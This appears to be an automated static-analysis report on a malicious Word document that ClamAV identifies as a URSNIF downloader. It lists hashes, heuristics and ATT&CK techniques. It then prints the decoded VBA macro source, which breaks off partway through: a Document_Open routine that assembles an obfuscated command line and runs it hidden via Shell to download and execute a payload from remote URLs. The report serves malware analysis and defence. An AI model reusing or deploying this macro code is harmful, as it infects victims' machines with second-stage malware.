Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1e43e51ff362f81c…

MALICIOUS

Office (OLE)

75.5 KB Created: 2018-09-10 21:46:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 401b5f85c90f11444cd13fa564d28d9e SHA-1: 4c8897074d4f2e7b82216cc59e202d945fa7cb10 SHA-256: 1e43e51ff362f81ce4f5eee890e5b946e23c1581cdd7a79dfd8072670e19d0a9
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for malware delivery. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. ClamAV detection further confirms its malicious nature, identifying it as URSNIF, a known downloader family. The script's primary function appears to be downloading and executing a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6423 bytes
SHA-256: b86db82e910b167bb309538b884b991acc58171e2890dfa77c97949e926f5292
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AllvOMTB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
   Second "395821486" + "342217374" + "EIWur" + "313644261"
   Second "Vimr" + "anpNjfstq"
   Second "KWCAZPIPUh" + "416930175" + "obAnGMJzFZoN" + "GvsF"
   Second "86084626" + "CdwbUb" + "OZEULLD" + "z"
   Second "322368232" + "8837"
Shell PnRkzQw + fidFPF + ZzPAtknVAkj, CStr(vbHide)
   Second "l" + "lLVJIudX"
End Sub



Attribute VB_Name = "jOnLdYSf"
Function PnRkzQw()

On _
Error _
Resume _
Next
Second "mCSh" + "h" + "386609376" + "101517046"
   Second "drA" + "FzBWGkXDPffKN"
FOBkvft = Format(Chr(18 + 0 + 14 + 9 + 58)) + "md /V" + ":" + "/" + Format(Chr(12 + 0 + 10 + 6 + 39)) + Format(Chr(5 + 0 + 4 + 2 + 23)) + "^se" + "^" + "t ^U"
Second "l" + "pQnHVBNrAPhN" + "fKKuODBAjYVi" + "PIX"
   Second "n" + "1785" + "9320" + "355708104"
   Second "2677965" + "L"
   Second "8859" + "opz"
   Second "137704104" + "8417"
vMHjrz = "K^" + "B" + "J=^" + " " + " ^  ^  " + "^" + " ^ " + "^   " + "^   " + "^ ^ "
Second "132397576" + "wMB"
   Second "rS" + "894" + "8595" + "Hl"
   Second "LAiJmRhbzTNzQV" + "j"
oVSTfQLaz = "^" + " }" + "^}{^" + "h" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "^ta" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "^}^;^" + "k^a^e" + "r^b;^k" + "vb^$ " + "met^I-" + "e^kovn^"
Second "1700" + "m"
   Second "uSIR" + "CCTrzHnHQvuai"
YqqiOwrHk = "I^" + ";)^kv" + "b^$^ ," + "Tw^H^" + "$(e" + "^l^i" + "F^daoln" + "^w" + "oD^.jNz" + "^" + "$^" + "{^yr"
Second "z" + "1005" + "Wwnq" + "63015192"
   Second "HGJaZD" + "1805"
   Second "APwJ" + "37477815" + "fSrpKtTipV" + "2045"
   Second "pkf" + "bCAEf"
FTbJAGQRK = "t" + "^{)" + "^G^" + "m^l^" + "$" + " n" + "^" + "i" + "^ ^" + "Tw^H^$(" + "h" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "aer"
Second "178504350" + "mN"
   Second "PfOuquNp" + "1317" + "4675" + "OJwZ"
   Second "QAjGPoFowTNZw" + "IQmcuUzGpVGdQZ"
   Second "3404" + "MZ"
nvVUjEwpwiX = "of;'e" + "xe.'+P^" + "dY^$" + "^+'\'" + "+" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "il" + "bup^:" + "vne^" + "$"
Second "SZN" + "83531853"
   Second "456667176" + "bjZz" + "6891" + "lG"
   Second "iwwKKNz" + "XfrihzBpAjk" + "dnj" + "rUPRQQISvCiZJ"
   Second "348223645" + "FpNARi"
   Second "154432135" + "426970889"
cBoQw = "=^k" + "vb$^;'^" + "8" + "6^2" + "' ^=" + " ^P" + "^d^Y^$" + "^;)^'"
Second "nFnXzk" + "HGqPDSqw" + "UHXZnf" + "cfO"
   Second "3672" + "nwrJG"
   Second "440736026" + "nPEd" + "KjJisQ" + "413250783"
OMpBarZtUG = "@'(^" + "t^" + "il" + "^p^S." + "'^F"
Second "Qfn" + "jin"
   Second "65712580" + "c" + "zBzjZSZvpzvW" + "vpR"
   Second "2184" + "PsSpj" + "7869" + "169444804"
   Second "rtbh" + "tIoLrkVcUqml" + "8896" + "HK"
   Second "SAfCvT" + "9070" + "FY" + "488034354"
TcXXjrEjXvE = "H^" + "4^9rr" + "^t" + "U" + "/r^" + "i.^" + "gnar" + "u^o/" + "/:p^" + "t^th@"
Second "328180639" + "qWQ"
   Second "LzFfd" + "5737" + "urjZ" + "316671595"
   Second "7178" + "4226" + "1226" + "zhzViLD"
   Second "IqiqlT" + "7274"
   Second "Ft" + "BXzF"
PctSMRAj = "9TR^d" + "^3" + "f" + "T6" + "/^a^u" + ".p^d.a" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "^il^es" + "ovo" + "n//^:" + "^ptt" + "^h@v^mT" + "dvJ/mo" + Format(Chr(18 + 0 + 14 + 9 + 58))
PnRkzQw = FOBkvft + vMHjrz + oVSTfQLaz + YqqiOwrHk + FTbJAGQRK + nvVUjEwpwiX + cBoQw + OMpBarZtUG + TcXXjrEjXvE + PctSMRAj
   Second "385788065" + "116672357"
   Second "iOvwwbG" + "N" + "1183" + "NOcjS"
End Function
Function fidFPF()

On _
Error _
Resume _
Next
Second "TJD" + "bHj" + "Di" + "iFTDr"
   Second "VbokqVMr" + "uFEQ"
   Second "wCJudFam" + "tMHLztz"
FJYRtRJ = "^.^y" + "n" + "^" + "a^p^m^" + "o" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "-" + "nny^"
Second "9068" + "9131"
   Second "fzipXpC" + "TcpFFtHqJKQwJ"
   Second "496444163" + "GjlmMkFRnG" + "KD" + "MTS"
   Second "mfLj" + "wzd"
Q
... (truncated)